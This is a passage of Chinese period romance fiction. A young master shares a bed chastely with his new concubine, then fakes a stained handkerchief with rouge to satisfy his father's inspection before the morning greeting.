肖晨看着她失落的样子,心里像被堵住了,闷得发慌。他笨拙地解释:“我只是……只是觉得,这样对你不公平。你不该这样委屈自己。” “我不觉得委屈。”丁香忽然抬头,看着他的眼睛,语气带着一丝执拗,“公子愿意护着我,给我一个家,我已经很满足了。地上真的凉,你若是病了,少夫人该担心了。” 她往前走了一步,声音放软了些:“就当……就当是我求你,去床上睡吧。不然,我这心里也不安稳。” 肖晨看着她眼里的恳切,又看了看地上冰凉的青砖,终究还是点了点头,却坚持道:“我睡外侧,你睡里面,中间……中间隔着些。” 丁香没反驳,默默回到床内侧躺下。 肖晨吹灭蜡烛,在床外侧躺下,刻意离她很远,几乎要贴到床沿。床不算窄,可他浑身紧绷,连呼吸都放轻了,生怕碰到她。 黑暗里,两人都睁着眼,没有睡意。 过了许久,丁香忽然轻声道:“公子,你不必这样的。” 肖晨没说话。 “我知道你心里有少夫人,也知道你对我……只是怜悯。”她的声音很轻,像怕惊扰了夜,“我不会奢求别的,只要能安安稳稳地活着就好。” 肖晨的喉结动了动,低声道:“安心睡吧,有我在,没人能再欺负你。” 这句话,他说得格外坚定。 又过了一会儿,身边传来均匀的呼吸声,丁香这次是真的睡着了。肖晨却依旧醒着,听着她的呼吸,感受着身边若有若无的气息,心里五味杂陈。 他不知道这样的日子会持续多久,也不知道该如何向傲雪解释今夜的相安无事。 但至少此刻,他守住了自己的底线。 窗外的月光静静流淌,映着床榻上隔着无形界限的两人,像一幅沉默的画。 天快亮时,肖晨才终于抵不住倦意,沉沉睡去。只是他的手,始终紧紧攥着,像是在坚守着什么。 天快亮时肖晨才浅浅睡去,没等他醒透,门外就传来轻细的脚步声。两个面生的丫鬟端着铜盆和洗漱用具进来,规规矩矩地福身:“公子,丁香姑娘,该起身洗漱了。” 肖晨揉着眉心坐起身,见她们眼神总往床榻内侧瞟,心里顿时咯噔一下——父亲这是派人来“验视”了。 丁香也察觉到不对,昨夜两人明明分睡两侧,哪来的“红色”?她手心里沁出细汗,下意识往肖晨身边靠了靠。 肖晨不动声色地用被子掩住床榻中间的缝隙,沉声道:“放下东西,你们先出去。” 丫鬟们对视一眼,没敢违逆,却故意磨蹭着收拾,眼睛在床褥上飞快扫了一圈,见被褥整齐得过分,连褶皱都少,心里已有了数,却还是低着头退了出去,只在门口留了个心眼。 等人走了,丁香才慌了神:“公子,她们……” “没事。”肖晨安抚地拍了拍她的手,“我去应付。” 他起身时,瞥见床脚的帕子,忽然有了主意,快步走到桌边,拿起胭脂盒蘸了点红,往帕子一角轻轻抹了抹,又揉皱了些,塞到床榻内侧的褥子下。 “这……”丁香愣住了。 “我爹要的不过是个‘交代’。”肖晨声音低沉,“总不能让他真的寻你麻烦。” 两人匆匆洗漱完毕,刚走出房门,那两个丫鬟就装着进来收拾,肖晨看在眼里,没戳破,只带着丁香往正屋去请安。 丫鬟们在房里翻找片刻,果然在褥子下摸到了那方带红的帕子,对视一眼,悄悄折好藏进袖中,快步往肖父的书房去回话。 “回老爷,看着是有的,帕子上……”丫鬟话没说完,肖父就抬手打断,眼里闪过一丝满意,却又板着脸:“知道了,下去吧,别声张。” 丫鬟们退下后,肖父端起茶盏,嘴角勾起一抹不易察觉的弧度。只要圆了房,生米煮成熟饭,再多的心思也该收收了。 而另一边,肖晨带着丁香走到正屋门口,李傲雪正站在廊下等他们,看到两人并肩走来,她脸上努力挤出笑意,目光却在丁香身上那身水红色的襦裙上顿了顿,又很快移开。 “爹在里面等着呢。”她轻声道。 肖晨看着她眼底的红血丝,知道她定是也没睡好,心里一阵愧疚,却只能低声道:“进去吧。” 进了书房,肖父瞥了他们一眼,语气缓和了些:“既已成亲,往后就安分些。丁香既然入了肖家的门,就得守肖家的规矩,好好伺候少爷和少夫人。” 丁香垂着头应了声“是”。 肖晨没说话,只觉得这“规矩”二字,压得人喘不过气。 请安的流程走得飞快,出来时,李傲雪拉着丁香的手说了几句家常,语气亲昵,却总隔着层什么。 肖晨看着两个各怀心事的女子,只觉得这满园的桂花香气,都带着说不出的苦涩。 他知道,那方染了胭脂的帕子瞒得了一时,瞒不了一世。 可眼下,也只能走一步看一步了。